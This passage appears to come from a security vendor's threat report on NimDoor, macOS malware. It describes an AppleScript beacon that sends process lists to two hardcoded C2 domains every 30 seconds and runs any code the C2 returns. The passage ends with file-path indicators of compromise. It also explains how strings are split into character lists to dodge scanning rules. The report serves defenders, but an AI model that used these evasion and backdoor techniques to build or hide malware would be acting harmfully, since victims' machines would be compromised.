In the unstripped version, one of the hexadecimal strings contains the template for the previously discussed LaunchAgent. In both versions, although the content differs, an AppleScript is decoded, written to disk at  ~/.ses, and launched via osascript.

The embedded AppleScript fetches the current Unix timestamp via date to create a unique ID and builds an HTTP header string. Throughout, the authors have broken strings down into character lists to help protect the script from simple scanning rules. The same trick is used to disguise two hardcoded C2 addresses, writeup[.]live and safeup[.]store.

On execution, the script beacons out every 30 seconds to one of the two hardcoded C2s, chosen at random, and attempts to post data obtained from listing all running processes on the victim machine. The script also executes any response received from the C2 via the run script command, meaning this simple AppleScript functions both as a beacon and a backdoor.

The embedded AppleScript in the stripped version of CoreKitAgent takes a different form and uses different embedded C2 server addresses but has similar functionality, including the 30 second delay interval.

Conclusion

SentinelLABS’ analysis of NimDoor shows how threat actors are continuing to explore cross-platform languages that introduce new levels of complexity for analysts.

North Korean-aligned threat actors have previously experimented with Go and Rust, similarly combining scripts and compiled binaries into multi-stage attack chains. However, Nim’s rather unique ability to execute functions during compile time allows attackers to blend complex behaviour into a binary with less obvious control flow, resulting in compiled binaries in which developer code and Nim runtime code are intermingled even at the function level.

At the same time, the attackers take full advantage of macOS’s built-in scripting capabilities. Leveraging AppleScript to perform duties like beaconing is a novel approach that removes the need for a traditional post-exploitation framework and the detection ‘noise’ such implants can create. In addition, the use of wss for communications and signal interrupts to trigger persistence logic provide yet further evidence of active development in new ways to defeat security measures.

Earlier this year, we saw threat actors utilizing Nim as well as Crystal, and we expect the choice of less familiar languages to become an increasing trend among macOS malware authors due both to their technical advantages and their unfamiliarity to analysts. As ever in the cat-and-mouse game of threat and threat detection, when one side innovates, the other must respond, and we encourage other analysts, researchers, and detection engineers to invest effort in understanding these lesser-known languages and how they will eventually be leveraged.

Indicators of Compromise

Domains

FilePaths
~/Library/Application Support/Google LLC/GoogIe LLC
~/Library/LaunchAgents/com.google.update.plist
~/.ses
~/Library/CoreKit/CoreKitAgent
~/Library/DnsService/a
~/Library/DnsService/netchk
/private/tmp/.config
/private/tmp/cfg
/private/var/tmp/uplex_//

Binaries | SHA-1

Scripts
Observed

Related